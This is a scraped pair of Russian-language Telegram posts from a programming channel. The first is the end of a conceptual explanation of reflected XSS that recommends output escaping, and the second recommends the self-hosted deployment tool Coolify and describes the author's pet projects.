2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)

Что происходит у вас в браузере:

1. Вы заходите на a.com через эту ссылку

2. Сервер a.com вставляет <script>...</script> прямо в HTML

3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта a.com

Ну и всё, вы остались без почки

Поможет ли тут CSP? Ответ: увы, нет

Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием


Спасибо за прочтение, это важно для меня 💖

@prog_way_blogчат#theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
16👍12🤯6🐳6🔥4
Первый шаг в сторону FrontOps

В продолжение темы FrontOps хочу рассказать, чем я пользуюсь для своих проектов

Длительное время любил и уважал Vercel, да и до сих пор считаю, что для базового деплоя проекта «в интернет» ничего лучше Vercel/Netlify для новичка не придумали, но со временем начал сталкиваться со множеством ограничений бесплатной версии. Например, веб-сокеты в бесплатной версии у меня поднять так и не получилось из-за ограничений самого сервиса

Но самое главное — нет контроля над происходящим, а он порой бывает невероятно полезен

Поэтому я начал использовать Coolify — опенсорсной self-hosted альтернативой. Если утрировать и упрощать, то представьте, что вы владелец Vercel. Вот Coolify даёт вам такое чувство, поскольку это коробочное решение, которое можно поднять на своём сервере по очень простому гайду и с удовольствием пользоваться

В Coolify есть множество функций, которые пригодятся каждому:
— импорт репозиториев с GitHub, в том числе приватных
— автоматическая установка SSL сертификатов (только при условии, что используете домен с reg.ru, если не ошибаюсь — такой там вендор-лок)
— редеплой по мержу
— переменные окружения, возможность создавать разные окружения для одного проекта
— возможность управлять сразу множеством серверов для деплоя
— уведомления, работа в команде, своё s3 хранилище и так далее

Ну и что не менее важно — есть готовый набор огромного набора инструментов, начиная Keycloak, Umami и PostgreSQL DBaaS в 2 клика, заканчивая сервером для майнкрафта — вот всё это уже реализовано и отлично работает

Звучит как ужасная продажная реклама, но это, к сожалению, не так. Очень жаль))


Для первого погружения в FrontOps — инструмент шикарный

Можно задеплоить парочку проектов, научиться писать хотя бы Dockerfile, может и пайплайн из парочки джобов собрать, а потом уже двигаться дальше

Прямо сейчас у меня развёрнуто несколько проектов, в том числе зеркало progway, про которое в канале я никогда не упоминал. Это написанная за пару вечеров прила, которая является почти полным аналогом канала. Сделано зеркало просто для того, чтобы привлекать новый трафик в канал с поиска в условном яндексе

Пока этим приложением у меня нет времени заниматься, оно в подвешенном состоянии, но когда нибудь оно будет сиять


Ну а если вы вдруг любитель поиграть в игру «Бункер», такой проект у меня тоже найдётся. Прила ещё достаточно давно была написана чисто для друзей, но не вижу преград не поделиться

Для меня эти проекты — испытательный полигон, где можно сделать акцент на том, что интересно пощупать — изучить новую библиотечку, какой-то новый подход и т.д.

А для кого-то такие пет-проекты и coolify в целом могут стать первым шагом в изучение темы FrontOps

Не обязательно всё время быть сильными. Иногда достаточно просто жить дальше, держаться за принципы и не давать обстоятельствам нас сломать — и этого уже достаточно🥰


@prog_way_blogчат#theory #blog #useful
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥6🐳5👍3